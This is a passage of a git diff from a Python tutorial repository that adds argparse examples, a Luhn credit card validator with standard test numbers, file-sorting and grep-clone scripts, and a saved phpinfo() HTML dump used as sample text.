-0,0 +1 @@ +Pillow \ No newline at end of file diff --git a/python-standard-library/argparse/1_simple_example.py b/python-standard-library/argparse/1_simple_example.py new file mode 100644 index 00000000..cbd22bbf --- /dev/null +++ b/python-standard-library/argparse/1_simple_example.py @@ -0,0 +1,7 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('input', help='Input file to process.') + +args = parser.parse_args() +print(f'Processing file: {args.input}') diff --git a/python-standard-library/argparse/2.2_default_and_required.py b/python-standard-library/argparse/2.2_default_and_required.py new file mode 100644 index 00000000..f4d4c276 --- /dev/null +++ b/python-standard-library/argparse/2.2_default_and_required.py @@ -0,0 +1,10 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('input', help='Input file to process.') +# parser.add_argument('-o', '--output', default='output.txt', help='Output file.') +parser.add_argument('-o', '--output', required=True, help='Output file.') + +args = parser.parse_args() +print(f'Processing file: {args.input}') +print(f"Writing to file: {args.output}") diff --git a/python-standard-library/argparse/2.3_choices.py b/python-standard-library/argparse/2.3_choices.py new file mode 100644 index 00000000..01db0c06 --- /dev/null +++ b/python-standard-library/argparse/2.3_choices.py @@ -0,0 +1,9 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('input', help='Input file to process.') +parser.add_argument('-m', '--mode', choices=['add', 'subtract', 'multiply', 'divide'], help='Calculation mode.') + +args = parser.parse_args() +print(f'Processing file: {args.input}') +print(f"Mode: {args.mode}") diff --git a/python-standard-library/argparse/2.5_nargs.py b/python-standard-library/argparse/2.5_nargs.py new file mode 100644 index 00000000..88b9be93 --- /dev/null +++ b/python-standard-library/argparse/2.5_nargs.py @@ -0,0 +1,10 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('--values', nargs=3) +# parser.add_argument('--value', nargs='?', default='default_value') +# parser.add_argument('--values', nargs='*') +# parser.add_argument('--values', nargs='+') + +args = parser.parse_args() +print(f"Values: {args.values}") diff --git a/python-standard-library/argparse/2.6_builtin_actions.py b/python-standard-library/argparse/2.6_builtin_actions.py new file mode 100644 index 00000000..256932e8 --- /dev/null +++ b/python-standard-library/argparse/2.6_builtin_actions.py @@ -0,0 +1,13 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument('--foo', action='https://github.com/store', help='Store the value of foo.') +parser.add_argument('--enable', action='https://github.com/store_true', help='Enable the feature.') +parser.add_argument('--disable', action='https://github.com/store_false', help='Disable the feature.') +parser.add_argument('--level', action='https://github.com/store_const', const='advanced', help='Set level to advanced.') +parser.add_argument('--values', action='https://github.com/append', help='Append values to a list.') +parser.add_argument('--add_const', action='https://github.com/append_const', const=42, help='Add 42 to the list.') +parser.add_argument('-v', '--verbose', action='https://github.com/count', help='Increase verbosity level.') +args = parser.parse_args() +print(f"Values: {args.values}") +print(f"Verbosity: {args.verbose}") diff --git a/python-standard-library/argparse/2.6_custom_actions.py b/python-standard-library/argparse/2.6_custom_actions.py new file mode 100644 index 00000000..86d15392 --- /dev/null +++ b/python-standard-library/argparse/2.6_custom_actions.py @@ -0,0 +1,16 @@ +import argparse + +class CustomAction(argparse.Action): + def __call__(self, parser, namespace, values, option_string=None): + # Perform custom processing on the argument values + processed_values = [value.upper() for value in values] + + # Set the attribute on the namespace object + setattr(namespace, self.dest, processed_values) + +# Set up argument parser and add the custom action +parser = argparse.ArgumentParser(description='Custom argument action example.') +parser.add_argument('-n', '--names', nargs='+', action=CustomAction, help='A list of names to be processed.') + +args = parser.parse_args() +print(args.names) diff --git a/python-standard-library/argparse/2.7_argument_types.py b/python-standard-library/argparse/2.7_argument_types.py new file mode 100644 index 00000000..d595a6fd --- /dev/null +++ b/python-standard-library/argparse/2.7_argument_types.py @@ -0,0 +1,6 @@ +import argparse + +parser = argparse.ArgumentParser(description='A simple argparse example.') +parser.add_argument("-r", "--ratio", type=float) +args = parser.parse_args() +print(f"Ratio: {args.ratio}") diff --git a/python-standard-library/argparse/3.3_subcommand_example.py b/python-standard-library/argparse/3.3_subcommand_example.py new file mode 100644 index 00000000..55088d6c --- /dev/null +++ b/python-standard-library/argparse/3.3_subcommand_example.py @@ -0,0 +1,10 @@ +import argparse + +parser = argparse.ArgumentParser(description='A subcommand example.') +subparsers = parser.add_subparsers(help='Subcommand help') + +list_parser = subparsers.add_parser('list', help='List items') +add_parser = subparsers.add_parser('add', help='Add an item') +add_parser.add_argument('item', help='Item to add') + +args = parser.parse_args() diff --git a/python-standard-library/argparse/4.1_file_renamer.py b/python-standard-library/argparse/4.1_file_renamer.py new file mode 100644 index 00000000..0d5f2502 --- /dev/null +++ b/python-standard-library/argparse/4.1_file_renamer.py @@ -0,0 +1,46 @@ +import argparse +import os + +# Rename function +def rename_files(args): + # Your file renaming logic here + print(f"Renaming files in {args.path}...") + print(f"Prefix: {args.prefix}") + print(f"Suffix: {args.suffix}") + print(f"Replace: {args.replace}") + os.chdir(args.path) + for file in os.listdir(): + # Get the file name and extension + file_name, file_ext = os.path.splitext(file) + # Add prefix + if args.prefix: + file_name = f"{args.prefix}{file_name}" + # Add suffix + if args.suffix: + file_name = f"{file_name}{args.suffix}" + # Replace substring + if args.replace: + file_name = file_name.replace(args.replace[0], args.replace[1]) + # Rename the file + print(f"Renaming {file} to {file_name}{file_ext}") + os.rename(file, f"{file_name}{file_ext}") + +# custom type for checking if a path exists +def path_exists(path): + if os.path.exists(path): + return path + else: + raise argparse.ArgumentTypeError(f"Path {path} does not exist.") + + +# Set up argument parser +parser = argparse.ArgumentParser(description='File renaming tool.') +parser.add_argument('path', type=path_exists, help='Path to the folder containing the files to rename.') +parser.add_argument('-p', '--prefix', help='Add a prefix to each file name.') +parser.add_argument('-s', '--suffix', help='Add a suffix to each file name.') +parser.add_argument('-r', '--replace', nargs=2, help='Replace a substring in each file name. Usage: -r old_string new_string') + +args = parser.parse_args() + +# Call the renaming function +rename_files(args) diff --git a/python-standard-library/argparse/4.2_simple_calculator.py b/python-standard-library/argparse/4.2_simple_calculator.py new file mode 100644 index 00000000..2f4ea64d --- /dev/null +++ b/python-standard-library/argparse/4.2_simple_calculator.py @@ -0,0 +1,42 @@ +import argparse + +# Operation functions +def add(args): + print(args.x + args.y) + +def subtract(args): + print(args.x - args.y) + +def multiply(args): + print(args.x * args.y) + +def divide(args): + print(args.x / args.y) + +# Set up argument parser +parser = argparse.ArgumentParser(description='Command-line calculator.') +subparsers = parser.add_subparsers() + +# Add subcommands +add_parser = subparsers.add_parser('add', help='Add two numbers.') +add_parser.add_argument('x', type=float, help='First number.') +add_parser.add_argument('y', type=float, help='Second number.') +add_parser.set_defaults(func=add) + +subtract_parser = subparsers.add_parser('subtract', help='Subtract two numbers.') +subtract_parser.add_argument('x', type=float, help='First number.') +subtract_parser.add_argument('y', type=float, help='Second number.') +subtract_parser.set_defaults(func=subtract) + +multiply_parser = subparsers.add_parser('multiply', help='Multiply two numbers.') +multiply_parser.add_argument('x', type=float, help='First number.') +multiply_parser.add_argument('y', type=float, help='Second number.') +multiply_parser.set_defaults(func=multiply) + +divide_parser = subparsers.add_parser('divide', help='Divide two numbers.') +divide_parser.add_argument('x', type=float, help='First number.') +divide_parser.add_argument('y', type=float, help='Second number.') +divide_parser.set_defaults(func=divide) + +args = parser.parse_args() +args.func(args) diff --git a/python-standard-library/argparse/README.md b/python-standard-library/argparse/README.md new file mode 100644 index 00000000..a0565d61 --- /dev/null +++ b/python-standard-library/argparse/README.md @@ -0,0 +1,4 @@ +# [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python) +The `argparse` module in Python is a built-in module that helps us to parse command-line arguments. It is a very useful module that allows us to easily write user-friendly command-line interfaces. In this tutorial, we will learn how to use the `argparse` module in Python. + +The code is available for each section, so you can run it and see the output. \ No newline at end of file diff --git a/python-standard-library/argparse/data/item1.txt b/python-standard-library/argparse/data/item1.txt new file mode 100644 index 00000000..02103c6d --- /dev/null +++ b/python-standard-library/argparse/data/item1.txt @@ -0,0 +1 @@ +This is a text file \ No newline at end of file diff --git a/python-standard-library/argparse/data/item2.txt b/python-standard-library/argparse/data/item2.txt new file mode 100644 index 00000000..5d8fb96c --- /dev/null +++ b/python-standard-library/argparse/data/item2.txt @@ -0,0 +1 @@ +Another text file is created in the same directory as the original file. \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/README.md b/python-standard-library/credit-card-validation/README.md new file mode 100644 index 00000000..bee74fdd --- /dev/null +++ b/python-standard-library/credit-card-validation/README.md @@ -0,0 +1 @@ +# [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python) \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/credit_card_validation.py b/python-standard-library/credit-card-validation/credit_card_validation.py new file mode 100644 index 00000000..57a82f5b --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_card_validation.py @@ -0,0 +1,85 @@ +import argparse # Import argparse for command-line argument parsing +import re # Import re for regular expression matching + +# Validate credit card number using Luhn Algorithm +def luhn_algorithm(card_number): + def digits_of(n): + return [int(d) for d in str(n)] # Convert each character in the number to an integer + + digits = digits_of(card_number) # Get all digits of the card number + odd_digits = digits[-1::-2] # Get digits from the right, skipping one digit each time (odd positions) + even_digits = digits[-2::-2] # Get every second digit from the right (even positions) + + checksum = sum(odd_digits) # Sum all odd position digits + for d in even_digits: + checksum += sum(digits_of(d*2)) # Double each even position digit and sum the resulting digits + + return checksum % 10 == 0 # Return True if checksum modulo 10 is 0 + + +# Function to check credit card number using Luhn's alogorithm +def check_credit_card_number(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + if not card_number.isdigit(): # Check if the card number contains only digits + return False + return luhn_algorithm(card_number) # Validate using the Luhn algorithm + +# Function to get the card type based on card number using RegEx +def get_card_type(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + card_types = { + "Visa": r"^4[0-9]{12}(?:[0-9]{3})?$", # Visa: Starts with 4, length 13 or 16 + "MasterCard": r"^5[1-5][0-9]{14}$", # MasterCard: Starts with 51-55, length 16 + "American Express": r"^3[47][0-9]{13}$", # AmEx: Starts with 34 or 37, length 15 + "Discover": r"^6(?:011|5[0-9]{2})[0-9]{12}$", # Discover: Starts with 6011 or 65, length 16 + "JCB": r"^(?:2131|1800|35\d{3})\d{11}$", # JCB: Starts with 2131, 1800, or 35, length 15 or 16 + "Diners Club": r"^3(?:0[0-5]|[68][0-9])[0-9]{11}$", # Diners Club: Starts with 300-305, 36, or 38, length 14 + "Maestro": r"^(5018|5020|5038|56|57|58|6304|6759|676[1-3])\d{8,15}$", # Maestro: Various starting patterns, length 12-19 + "Verve": r"^(506[01]|507[89]|6500)\d{12,15}$" # Verve: Starts with 5060, 5061, 5078, 5079, or 6500, length 16-19 + } + + for card_type, pattern in card_types.items(): + if re.match(pattern, card_number): # Check if card number matches the pattern + return card_type + return "Unknown" # Return Unknown if no pattern matches + + +# Processing a file containing card numbers. +def process_file(file_path): + + try: + with open(file_path, 'r') as file: # Open the file for reading + card_numbers = file.readlines() # Read all lines from the file + results = {} + for card_number in card_numbers: + card_number = card_number.strip() # Remove any leading/trailing whitespace + is_valid = check_credit_card_number(card_number) # Validate card number + card_type = get_card_type(card_number) # Detect card type + results[card_number] = (is_valid, card_type) # Store result + return results + except Exception as e: + print(f"Error reading file: {e}") # Print error message if file cannot be read + return None + + +def main(): + parser = argparse.ArgumentParser(description="Check if a credit card number is legitimate and identify its type using the Luhn algorithm.") + parser.add_argument('-n', '--number', type=str, help="A single credit card number to validate.") # Argument for single card number + parser.add_argument('-f', '--file', type=str, help="A file containing multiple credit card numbers to validate.") # Argument for file input + + args = parser.parse_args() # Parse command-line arguments + + if args.number: + is_valid = check_credit_card_number(args.number) # Validate single card number + card_type = get_card_type(args.number) # Detect card type + print(f"[!] Credit card number {args.number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print result + + if args.file: + results = process_file(args.file) # Process file with card numbers + if results: + for card_number, (is_valid, card_type) in results.items(): + print(f"[!] Credit card number {card_number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print results for each card number + +# Execute tha main function +if __name__ == '__main__': + main() diff --git a/python-standard-library/credit-card-validation/credit_cards.txt b/python-standard-library/credit-card-validation/credit_cards.txt new file mode 100644 index 00000000..b0a33fe6 --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_cards.txt @@ -0,0 +1,3 @@ +4111111111111111 +5555555555554444 +378282246310005 \ No newline at end of file diff --git a/python-standard-library/extension-separator/extension_separator.py b/python-standard-library/extension-separator/extension_separator.py index 1fc26931..9a50058c 100644 --- a/python-standard-library/extension-separator/extension_separator.py +++ b/python-standard-library/extension-separator/extension_separator.py @@ -11,19 +11,24 @@ "ico": "images", "gif": "images", "svg": "images", + "jfif": "images", "sql": "sql", "exe": "programs", "msi": "programs", "pdf": "pdf", + "epub": "epub", "xlsx": "excel", "csv": "excel", "rar": "archive", "zip": "archive", "gz": "archive", "tar": "archive", + "7z": "archive", "docx": "word", "torrent": "torrent", "txt": "text", + "log": "text", + "md": "text", "ipynb": "python", "py": "python", "pptx": "powerpoint", @@ -34,10 +39,12 @@ "m3u8": "video", "webm": "video", "ts": "video", + "avi": "video", "json": "json", "css": "web", "js": "web", "html": "web", + "webp": "web", "apk": "apk", "sqlite3": "sqlite3", } @@ -62,4 +69,8 @@ dst = os.path.join(path, folder_name, basename) if verbose: print(f"[*] Moving {file} to {dst}") - shutil.move(file, dst) \ No newline at end of file + try: + shutil.move(file, dst) + except Exception as e: + print(f"[!] Error: {e}") + continue \ No newline at end of file diff --git a/python-standard-library/grep-clone/README.md b/python-standard-library/grep-clone/README.md new file mode 100644 index 00000000..e6023461 --- /dev/null +++ b/python-standard-library/grep-clone/README.md @@ -0,0 +1 @@ +# [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python) \ No newline at end of file diff --git a/python-standard-library/grep-clone/grep_python.py b/python-standard-library/grep-clone/grep_python.py new file mode 100644 index 00000000..b3f3fa14 --- /dev/null +++ b/python-standard-library/grep-clone/grep_python.py @@ -0,0 +1,33 @@ +# Import the necessary libraries. +import re, sys +from colorama import init, Fore + +# Initialize colorama. +init() + +# Grep function. +def grep(pattern, filename): + try: + found_match = False + with open(filename, 'r') as file: + for line in file: + if re.search(pattern, line): + # Print matching lines in green. + print(Fore.GREEN + line.strip() + "\n") # We are including new lines to enhance readability. + found_match = True + if not found_match: + # Print message in red if no content is found. + print(Fore.RED + f"No content found matching the pattern '{pattern}'.") + except FileNotFoundError: + # Print error message in red if the file is not found. + print(Fore.RED + f"File '{filename}' not found.") + + +if len(sys.argv) != 3: + # Print usage message in red if the number of arguments is incorrect. + print(Fore.RED + "Usage: python grep_python.py ") + sys.exit(1) + +pattern = sys.argv[1] +filename = sys.argv[2] +grep(pattern, filename) diff --git a/python-standard-library/grep-clone/phpinfo.php b/python-standard-library/grep-clone/phpinfo.php new file mode 100644 index 00000000..6d4df079 --- /dev/null +++ b/python-standard-library/grep-clone/phpinfo.php @@ -0,0 +1,800 @@ + + + +PHP 7.4.3-4ubuntu2.20 - phpinfo() +
+ + +
+PHP logo

PHP Version 7.4.3-4ubuntu2.20

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
System Linux cf00c9c42b69 4.14.336-257.562.amzn2.x86_64 #1 SMP Sat Feb 24 09:50:35 UTC 2024 x86_64
Build Date Feb 21 2024 13:54:34
Server API CGI/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path /etc/php/7.4/cgi
Loaded Configuration File /etc/php/7.4/cgi/php.ini
Scan this dir for additional .ini files /etc/php/7.4/cgi/conf.d
Additional .ini files parsed /etc/php/7.4/cgi/conf.d/10-opcache.ini, +/etc/php/7.4/cgi/conf.d/10-pdo.ini, +/etc/php/7.4/cgi/conf.d/15-xml.ini, +/etc/php/7.4/cgi/conf.d/20-calendar.ini, +/etc/php/7.4/cgi/conf.d/20-ctype.ini, +/etc/php/7.4/cgi/conf.d/20-dom.ini, +/etc/php/7.4/cgi/conf.d/20-exif.ini, +/etc/php/7.4/cgi/conf.d/20-ffi.ini, +/etc/php/7.4/cgi/conf.d/20-fileinfo.ini, +/etc/php/7.4/cgi/conf.d/20-ftp.ini, +/etc/php/7.4/cgi/conf.d/20-gettext.ini, +/etc/php/7.4/cgi/conf.d/20-iconv.ini, +/etc/php/7.4/cgi/conf.d/20-json.ini, +/etc/php/7.4/cgi/conf.d/20-phar.ini, +/etc/php/7.4/cgi/conf.d/20-posix.ini, +/etc/php/7.4/cgi/conf.d/20-readline.ini, +/etc/php/7.4/cgi/conf.d/20-shmop.ini, +/etc/php/7.4/cgi/conf.d/20-simplexml.ini, +/etc/php/7.4/cgi/conf.d/20-sockets.ini, +/etc/php/7.4/cgi/conf.d/20-sysvmsg.ini, +/etc/php/7.4/cgi/conf.d/20-sysvsem.ini, +/etc/php/7.4/cgi/conf.d/20-sysvshm.ini, +/etc/php/7.4/cgi/conf.d/20-tokenizer.ini, +/etc/php/7.4/cgi/conf.d/20-xmlreader.ini, +/etc/php/7.4/cgi/conf.d/20-xmlwriter.ini, +/etc/php/7.4/cgi/conf.d/20-xsl.ini, +/etc/php/7.4/cgi/conf.d/99-academy.ini +
PHP API 20190902
PHP Extension 20190902
Zend Extension 320190902
Zend Extension Build API320190902,NTS
PHP Extension Build API20190902,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support disabled
IPv6 Support enabled
DTrace Support available, disabled
Registered PHP Streamshttps, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filterszlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*
+ + +
+Zend logo +This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3-4ubuntu2.20, Copyright (c), by Zend Technologies
+
+

Configuration

+

calendar

+ + +
Calendar support enabled
+

cgi-fcgi

+ + + + + + + + + + +
DirectiveLocal ValueMaster Value
cgi.check_shebang_line11
cgi.discard_path00
cgi.fix_pathinfo11
cgi.force_redirect11
cgi.nph00
cgi.redirect_status_envno valueno value
cgi.rfc2616_headers00
fastcgi.logging11
+

Core

+ + +
PHP Version 7.4.3-4ubuntu2.20
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionspcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
display_errorsOffOff
display_startup_errorsOffOff
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOffOff
enable_post_data_readingOnOn
error_append_stringno valueno value
error_logno valueno value
error_prepend_stringno valueno value
error_reporting2252722527
expose_phpOffOff
extension_dir/usr/lib/php/20190902/usr/lib/php/20190902
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/usr/share/php.:/usr/share/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOnOn
log_errors_max_len10241024
mail.add_x_headerOffOff
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time3030
max_file_uploads2020
max_input_nesting_level6464
max_input_time6060
max_input_vars10001000
max_multipart_body_parts-1-1
memory_limit128M128M
open_basedirno valueno value
output_buffering40964096
output_encodingno valueno value
output_handlerno valueno value
post_max_size8M8M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOffOff
report_memleaksOnOn
report_zend_debugOnOn
request_orderGPGP
sendmail_fromno valueno value
sendmail_path/usr/sbin/sendmail -t -i /usr/sbin/sendmail -t -i 
serialize_precision-1-1
short_open_tagOffOff
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
syslog.facilityLOG_USERLOG_USER
syslog.filterno-ctrlno-ctrl
syslog.identphpphp
track_errorsOffOff
unserialize_callback_funcno valueno value
upload_max_filesize2M2M
upload_tmp_dirno valueno value
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderGPCSGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions-1-1
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.exception_ignore_argsOffOff
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff
+

ctype

+ + +
ctype functions enabled
+

date

+ + + + + + +
date/time support enabled
timelib version 2018.03
"Olson" Timezone Database Version 0.system
Timezone Database internal
Default timezone UTC
+ + + + + + + +
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneno valueno value
+

dom

+ + + + + + + + + +
DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.10
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled
+

exif

+ + + + + + +
EXIF Support enabled
Supported EXIF Version 0220
Supported filetypes JPEG, TIFF
Multibyte decoding support using mbstring disabled
Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
+ + + + + + + + +
DirectiveLocal ValueMaster Value
exif.decode_jis_intelJISJIS
exif.decode_jis_motorolaJISJIS
exif.decode_unicode_intelUCS-2LEUCS-2LE
exif.decode_unicode_motorolaUCS-2BEUCS-2BE
exif.encode_jisno valueno value
exif.encode_unicodeISO-8859-15ISO-8859-15
+

FFI

+ + +
FFI supportenabled
+ + + + +
DirectiveLocal ValueMaster Value
ffi.enablepreloadpreload
ffi.preloadno valueno value
+

fileinfo

+ + + +
fileinfo support enabled
libmagic 537
+

filter

+ + +
Input Validation and Filtering enabled
+ + + + +
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value
+

ftp

+ + + +
FTP support enabled
FTPS support enabled
+

gettext

+ + +
GetText Support enabled
+

hash

+ + + +
hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
+ + + +
MHASH support Enabled
MHASH API Version Emulated Support
+

iconv

+ + + + +
iconv support enabled
iconv implementation glibc
iconv library version 2.31
+ + + + + +
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
iconv.output_encodingno valueno value
+

json

+ + +
json support enabled
+

libxml

+ + + + + +
libXML support active
libXML Compiled Version 2.9.10
libXML Loaded Version 20910
libXML streams enabled
+

openssl

+ + + + + +
OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.1.1f 31 Mar 2020
OpenSSL Header Version OpenSSL 1.1.1f 31 Mar 2020
Openssl default config /usr/lib/ssl/openssl.cnf
+ + + + +
DirectiveLocal ValueMaster Value
openssl.cafileno valueno value
openssl.capathno valueno value
+

pcntl

+ + +
pcntl supportenabled
+

pcre

+ + + + + + +
PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 10.34 2019-11-21
PCRE Unicode Version 12.1.0
PCRE JIT Support enabled
PCRE JIT Target x86 64bit (little endian + unaligned)
+ + + + + +
DirectiveLocal ValueMaster Value
pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000
+

PDO

+ + + +
PDO supportenabled
PDO drivers no value
+

Phar

+ + + + + + + + + +
Phar: PHP Archive supportenabled
Phar API version 1.1.1
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression disabled (install ext/bz2)
Native OpenSSL support enabled
+ + +
+Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
+ + + + + +
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn
+

posix

+ + +
POSIX support enabled
+

readline

+ + + +
Readline Supportenabled
Readline library EditLine wrapper
+ + + + +
DirectiveLocal ValueMaster Value
cli.pagerno valueno value
cli.prompt\b \> \b \> 
+

Reflection

+ + +
Reflection enabled
+

session

+ + + + +
Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponlyno valueno value
session.cookie_lifetime00
session.cookie_path//
session.cookie_samesiteno valueno value
session.cookie_secure00
session.gc_divisor10001000
session.gc_maxlifetime14401440
session.gc_probability00
session.lazy_writeOnOn
session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_path/var/lib/php/sessions/var/lib/php/sessions
session.serialize_handlerphpphp
session.sid_bits_per_character55
session.sid_length2626
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00
+

shmop

+ + +
shmop support enabled
+

SimpleXML

+ + + +
SimpleXML support enabled
Schema support enabled
+

sockets

+ + +
Sockets Support enabled
+

sodium

+ + + + +
sodium supportenabled
libsodium headers version 1.0.18
libsodium library version 1.0.18
+

SPL

+ + + + +
SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
+

standard

+ + + +
Dynamic Library Support enabled
Path to sendmail /usr/sbin/sendmail -t -i
+ + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
unserialize_max_depth40964096
url_rewriter.hostsno valueno value
url_rewriter.tagsform=form=
user_agentno valueno value
+

sysvmsg

+ + +
sysvmsg support enabled
+

sysvsem

+ + +
sysvsem support enabled
+

sysvshm

+ + +
sysvshm support enabled
+

tokenizer

+ + +
Tokenizer Support enabled
+

xml

+ + + + +
XML Support active
XML Namespace Support active
libxml2 Version 2.9.10
+

xmlreader

+ + +
XMLReader enabled
+

xmlwriter

+ + +
XMLWriter enabled
+

xsl

